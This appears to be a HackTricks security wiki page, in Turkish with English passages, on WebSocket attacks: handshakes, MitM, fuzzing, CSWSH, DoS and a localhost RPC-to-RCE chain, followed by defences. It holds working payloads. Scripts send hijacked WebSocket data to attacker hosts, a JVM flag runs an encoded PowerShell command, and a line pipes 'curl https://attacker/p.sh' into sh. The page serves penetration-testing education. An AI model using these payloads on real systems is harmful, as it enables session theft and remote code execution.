WebSocket Saldırıları

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

WebSocket’ler nedir

WebSocket bağlantıları ilk HTTP el sıkışması (handshake) ile kurulur ve uzun süreli olacak şekilde tasarlanmıştır; bu, transactional bir sisteme ihtiyaç duymadan her zaman çift yönlü mesajlaşmaya izin verir. Bu özellik, canlı finansal veri akışları gibi düşük gecikme veya sunucu tarafından başlatılan iletişim gerektiren uygulamalar için WebSocket’leri özellikle avantajlı kılar.

WebSocket Bağlantılarının Kurulması

A detailed explanation on establishing WebSocket connections can be accessed here. In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:

var ws = new WebSocket("wss://normal-website.com/ws")

wss protokolü TLS ile güvenli bir WebSocket bağlantısını ifade ederken, ws güvensiz bir bağlantıyı belirtir.

Bağlantı kurulumu sırasında, tarayıcı ile sunucu arasında HTTP üzerinden bir handshake gerçekleştirilir. Handshake süreci tarayıcının bir istek göndermesini ve sunucunun yanıt vermesini içerir; aşağıdaki örneklerde gösterildiği gibi:

Tarayıcı bir handshake isteği gönderir:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Sunucunun handshake yanıtı:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Bağlantı kurulduktan sonra iki yönde mesaj alışverişi için açık kalır.

WebSocket Handshake’in Temel Noktaları:

  • Connection ve Upgrade header’ları bir WebSocket handshake başlatıldığını işaret eder.
  • Sec-WebSocket-Version header’ı istenen WebSocket protokol sürümünü belirtir, genellikle 13.
  • Sec-WebSocket-Key header’ında Base64-encoded rastgele bir değer gönderilir; bu, her handshake’in benzersiz olmasını sağlar ve önbellekleme proxy’leriyle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değildir; yanıtın yanlış yapılandırılmış bir sunucu veya önbellek tarafından üretilmediğini doğrulamak içindir.
  • Sunucunun yanıtındaki Sec-WebSocket-Accept header’ı, Sec-WebSocket-Key’in bir hash’idir ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.

Bu özellikler handshake sürecinin güvenli ve güvenilir olmasını sağlayarak verimli gerçek zamanlı iletişim için zemin hazırlar.

Linux konsolu

Bir websocket ile ham bir bağlantı kurmak için websocat’ı kullanabilirsiniz.

websocat --insecure wss://10.10.10.10:8000 -v

Veya bir websocat sunucusu oluşturmak için:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket bağlantıları

Eğer mevcut yerel ağınızdan istemcilerin bir HTTP websockete bağlı olduğunu fark ederseniz, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir ARP Spoofing Attack deneyebilirsiniz.
İstemci size bağlanmaya çalıştığında şu araçları kullanabilirsiniz:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets keşfi

You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically.

Websocket Hata Ayıklama Araçları

  • Burp Suite supports MitM websockets communication in a very similar way it does it for regular HTTP communication.
  • The socketsleuth Burp Suite extension will allow you to manage better Websocket communications in Burp by getting the history, setting interception rules, using match and replace rules, using Intruder and AutoRepeater.
  • WSSiP: Short for “WebSocket/Socket.io Proxy”, this tool, written in Node.js, provides a user interface to capture, intercept, send custom messages and view all WebSocket and Socket.IO communications between the client and server.
  • wsrepl is an interactive websocket REPL designed specifically for penetration testing. It provides an interface for observing incoming websocket messages and sending new ones, with an easy-to-use framework for automating this communication.
  • https://websocketking.com/ it’s a web to communicate with other webs using websockets.
  • https://hoppscotch.io/realtime/websocket among other types of communications/protocols, it provides a web to communicate with other webs using websockets.

Websocket Şifre Çözme

Websocket Lab

In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.

Websocket Fuzzing

The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here.

WebSocket Turbo Intruder (Burp extension)

PortSwigger’s WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components:

  • Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines.
  • HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends.

Bir WS endpoint’ini fuzz etmek ve ilgili yanıtları filtrelemek için temel script örüntüsü:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Tek bir mesaj birden fazla yanıt tetiklediğinde gürültüyü azaltmak için @MatchRegex(...) gibi dekoratörler kullanın.

HTTP’nin Arkasındaki WS Köprüsü (HTTP Middleware)

Sürekli bir WS bağlantısını sarın ve HTTP gövdelerini HTTP scanners ile otomatik test yapmak için WS mesajları olarak iletin:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Sonra HTTP’yi yerel olarak gönderin; body WS mesajı olarak iletilir:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Bu, WS backend’lerini yönlendirmenizi sağlarken “ilginç” olaylar için filtreleme yapmanızı sağlar (ör. SQLi hataları, auth bypass, command injection davranışı).

Socket.IO işleme (handshake, heartbeats, events)

Socket.IO, WS üzerine kendi framing’ini ekler. Zorunlu query parametresi EIO ile tespit edin (ör. EIO=4). Oturumu Ping (2) ve Pong (3) ile canlı tutun ve konuşmayı "40" ile başlatın, sonra 42["message","hello"] gibi event’ler emit edin.

Intruder örneği:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP adaptör varyantı:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Socket.IO ile server-side prototype pollution tespiti

PortSwigger’ın güvenli tespit tekniğini izleyerek, Express’in iç yapılarını prototype pollution ile kirletmeyi denemek için aşağıdaki gibi bir payload gönderin:

{"__proto__":{"initialPacket":"Polluted"}}

Eğer sunucu yanıtları veya davranış değişirse (ör. echo içinde “Polluted” varsa), muhtemelen server-side prototype pollution yaptınız. Etki, erişilebilen sinks’e bağlıdır; Node.js prototype pollution bölümündeki gadgets ile ilişkilendirerek değerlendirin. Bakınız:

WebSocket race conditions with Turbo Intruder

Varsayılan engine mesajları tek bir bağlantıda toplar (yüksek throughput, yarışlar için zayıf). Birden fazla WS bağlantısı açmak ve payload’ları paralel olarak göndermek için THREADED engine’i kullanın; bu, mantık yarışlarını (double‑spend, token reuse, state desync) tetikleyebilir. Örnek script’ten başlayın ve eşzamanlılığı config() içinde ayarlayın.

  • Metodoloji ve alternatifleri Race Condition içinde öğrenin (bkz. “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Başlığı büyük bir payload length olarak beyan eden fakat gövde göndermeyen WS frame’leri oluşturun. Bazı WS sunucuları bu uzunluğa güvenip buffer’ları önceden tahsis eder; bunu Integer.MAX_VALUE civarına ayarlamak Out‑Of‑Memory ve uzaktan yetkisiz DoS’a neden olabilir. Örnek scripte bakın.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • WS Logger’ı etkinleştirerek iç ID’leri kullanıp mesajları yakalayın ve ilişkilendirin.
  • Karmaşık adapterlarda mesaj ID işleme ayarlarını ince ayar yapmak için Connection üzerindeki inc*/dec* yardımcılarını kullanın.
  • @PingPong/@Pong gibi decorators ve isInteresting() gibi yardımcılar gürültüyü azaltır ve oturumları canlı tutar.

Operational safety

Yüksek hızlı WS fuzzing çok sayıda bağlantı açabilir ve saniyede binlerce mesaj gönderebilir. Bozuk frame’ler ve yüksek mesaj oranları gerçek bir DoS’a yol açabilir. Yalnızca izin verildiği yerlerde kullanın.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, diğer adıyla cross-origin WebSocket hijacking, WebSocket el sıkışmalarını etkileyen bir Cross-Site Request Forgery (CSRF) vakası olarak tanımlanır. Bu zafiyet, WebSocket el sıkışmalarının yalnızca HTTP cookie’leri ile kimlik doğrulaması yapması ve CSRF tokenleri veya benzeri güvenlik önlemlerinin olmaması durumunda ortaya çıkar.

Saldırganlar, zafiyeti barındıran uygulamaya cross-site WebSocket bağlantısı başlatan kötü amaçlı bir web sayfası barındırarak bunu istismar edebilir. Sonuç olarak, bu bağlantı uygulamayla kurbanın oturumunun bir parçası olarak değerlendirilir ve oturum işleme mekanizmasındaki CSRF koruması eksikliği suistimal edilir.

Bu saldırının çalışması için gerekenler:

  • Websocket authentication cookie tabanlı olmalıdır
  • Cookie, saldırganın sunucusundan erişilebilir olmalıdır (bu genellikle SameSite=None anlamına gelir) ve Firefox’ta Firefox Total Cookie Protection etkin olmamalı, Chrome’da üçüncü taraf cookie’leri engellenmemiş olmalıdır.
  • Websocket sunucusu bağlantının origin’ini kontrol etmemelidir (veya bu kontrol atlatılabilir olmalıdır)

Ayrıca:

  • Eğer kimlik doğrulama yerel bir bağlantıya (localhost veya yerel ağ) dayanıyorsa, mevcut korumalar bunu yasaklamadığından saldırı mümkün olacaktır (daha fazla bilgi için bkz. more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

Gorilla WebSocket sunucularında CheckOrigin’i her zaman true dönecek şekilde ayarlamak, herhangi bir Origin’den gelen el sıkışmalarını kabul eder. WS endpoint ayrıca kimlik doğrulaması yoksa, kurbanın tarayıcı tarafından erişilebilen herhangi bir sayfa (Internet veya intranet) socket’i upgrade edip cross-site olarak mesaj okumaya/göndermeye başlayabilir.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Impact: gerçek zamanlı exfiltration of streamed data (ör. captured emails/notifications) kullanıcı kimlik bilgileri olmadan, herhangi bir Origin kabul edildiğinde ve endpoint kimlik doğrulamasını atladığında.

Basit Saldırı

Not: bir websocket bağlantısı kurulurken cookie sunucuya gönderilir. server, gönderilen cookie’ye dayanarak her bir specific user’ı onun websocket session based on the sent cookie ile ilişkilendirmek için kullanıyor olabilir.

Eğer, örneğin, websocket server bir kullanıcıya ait konuşma geçmişini bir msg içinde “READY” gönderildiğinde geri gönderiyorsa, o zaman bağlantıyı kuran basit bir XSS (mağdur kullanıcının yetkilendirilmesi için cookie otomatik olarak gönderilecektir) “READY” göndererek konuşma geçmişini alabilme yeteneğine sahip olacaktır.:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Bu blog yazısında https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ saldırgan, websocket iletişiminin gerçekleştiği alan adının bir subdomain’inde keyfi Javascript çalıştırmayı başardı. Bir subdomain olduğu için cookie gönderiliyordu ve Websocket Origin’i düzgün kontrol etmediği için onunla iletişim kurup ondaki token’ları çalmak mümkün oldu.

Kullanıcıdan veri çalmak

Taklit etmek istediğiniz web uygulamasını (.html dosyaları gibi) kopyalayın ve websocket iletişiminin gerçekleştiği script’in içine şu kodu ekleyin:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Şimdi wsHook.js dosyasını https://github.com/skepticfx/wshook adresinden indirip web dosyalarının olduğu klasöre kaydedin.
Web uygulamasını açığa çıkarıp bir kullanıcının ona bağlanmasını sağlarsanız, gönderilen ve alınan mesajları websocket üzerinden çalabilirsiniz:

sudo python3 -m http.server 80

CSWSH Koruması

CSWSH saldırısı, bir kullanıcının kötü amaçlı bir sayfaya bağlanması ve bu sayfanın kullanıcının zaten bağlı olduğu bir web sayfasına websocket connection açarak isteğin kullanıcının cookies’larını göndermesi nedeniyle kullanıcı adına kimlik doğrulaması yapması üzerine kuruludur.

Günümüzde bu sorunu önlemek çok kolaydır:

  • Websocket server Origin’i kontrol etmeli: Websocket sunucusu, beklenmeyen sayfaların ona bağlanmasını önlemek için her zaman hangi kaynaktan (Origin) bağlanıldığını kontrol etmelidir.
  • Authentication token: Kimlik doğrulamasını cookie tabanlı yapmak yerine, websocket bağlantısı için sunucunun kullanıcıya özgü ve saldırganın bilmediği bir token (ör. anti-CSRF token) kullanması tercih edilebilir.
  • SameSite Cookie attribute: SameSite değeri Lax veya Strict olan cookie’ler, bir saldırganın dış sayfasından hedef sunucuya gönderilmeyecektir; dolayısıyla cookie tabanlı kimlik doğrulama başarılı olmaz. Not: Chrome artık bu flag belirtilmemiş cookie’lere varsayılan olarak Lax değeri atıyor, bu da varsayılan olarak daha güvenli hale getiriyor. Ancak bir cookie oluşturulduktan sonraki ilk 2 dakika boyunca değeri None oluyor ve bu sınırlı süre içinde saldırıya açık kalabiliyor (bu önlemin bir noktada kaldırılması bekleniyor).
  • Firefox Total Cookie Protection: Total Cookie Protection, cookie’leri oluşturuldukları site ile izole ederek çalışır. Temelde her sitenin üçüncü tarafların kullanıcının gezinme geçmişini ilişkilendirmesini önlemek için kendi cookie depolama bölmesi vardır. Bu, saldırganın sitesinin cookie’lere erişememesi nedeniyle CSWSH’i kullanılamaz hale getirir.
  • Chrome third-party cookies block: Bu, SameSite=None olsa bile authenticated kullanıcı cookie’sinin websocket sunucusuna gönderilmesini engelleyebilir.

Localhost WebSocket abuse & browser port discovery

Desktop launcher’lar sıklıkla JSON-RPC WebSockets’i 127.0.0.1:<random_port> üzerinde açan yardımcı süreçler başlatır (ör. CurseForge’ın CurseAgent.exe). Tarayıcılar loopback soketlerinde SOP’u uygulamaz, bu yüzden herhangi bir Web sayfası handshake’i deneyebilir. Eğer agent keyfi Origin değerlerini kabul eder ve ikincil kimlik doğrulamayı atlıyorsa, IPC yüzeyi JavaScript’ten doğrudan uzaktan kontrol edilebilir hale gelir.

Enumerating exposed methods

Protokol sözleşmesini öğrenmek için meşru bir oturumu kaydedin. Örneğin CurseForge, {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} gibi frameler yayınlar; burada name RPC methodunu, args ise GUID’ler, çözünürlük, flag’ler vb. içeren yapılandırılmış nesneleri içerir. Bu yapı bilindiğinde, createModpack, minecraftGetDefaultLocation veya başka herhangi bir ayrıcalıklı görevi enjekte edilmiş bir sayfadan doğrudan çağırabilirsiniz.

Browser-based port discovery

Helper rastgele yüksek bir porta bind olduğu için, exploit önce WebSockets üzerinden localhost’u brute-force’lar. Chromium-based tarayıcılar throttling uygulamadan önce ~16k başarısız upgrade’e kadar tolere eder; bu, ephemeral aralığı taramak için yeterlidir. Firefox birkaç yüz başarısızlıktan sonra çökme veya donma eğiliminde olduğundan, pratik PoC’lar genelde Chromium’u hedefler.

Minimal tarayıcı taraması ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Bir bağlantı handshake’den geçip protokole özgü verileri döndürdüğünde, o socket’i RPC zinciri için yeniden kullanın.

JSON-RPC yöntemlerini RCE’ye zincirleme

The CurseForge exploit iki kimlik doğrulaması gerektirmeyen çağrıyı zincirler:

  1. createModpack → kullanıcı etkileşimi olmadan yeni bir MinecraftInstanceGuid döndürür.
  2. minecraftTaskLaunchInstance → o GUID’i başlatır ve AdditionalJavaArguments aracılığıyla herhangi bir JVM bayrağını kabul eder.

JNI/JVM diagnostic seçenekleri sonra hazır bir RCE primitive sağlar. Örneğin, bir çökme zorlamak için metaspace’i sınırlandırın ve komut yürütme için error hook’u kullanın:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Unix hedeflerde payload’u şu ile değiştirin: /bin/sh -c 'curl https://attacker/p.sh | sh'. Bu, uygulama koduna dokunamadığınız durumlarda bile işe yarar—JVM CLI’yi kontrol etmek yeterlidir.

Bu “create resource → privileged launch” deseni updaters ve launchers’da sıkça görülür. Yöntem (1) sunucu tarafından izlenen bir identifier döndürdüğünde ve yöntem (2) bu identifier ile kod çalıştırıyor veya bir süreç başlatıyorsa, kullanıcı kontrollü argümanların enjekte edilip edilemeyeceğini kontrol edin.

Race Conditions

Race Conditions in WebSockets are also a thing, daha fazla bilgi için burayı inceleyin.

Diğer zafiyetler

As Web Sockets are a mechanism to send data to server side and client side, sunucu ve istemcinin bilgiyi nasıl işlediğine bağlı olarak, Web Sockets bir websocket’ten gelen kullanıcı girdisi kullanılarak XSS, SQLi veya diğer yaygın web zafiyetlerini istismar etmek için kullanılabilir.

WebSocket Smuggling

This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn’t true). This could allow an attacker to access hidden endpoints. For more information check the following page:

Upgrade Header Smuggling

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin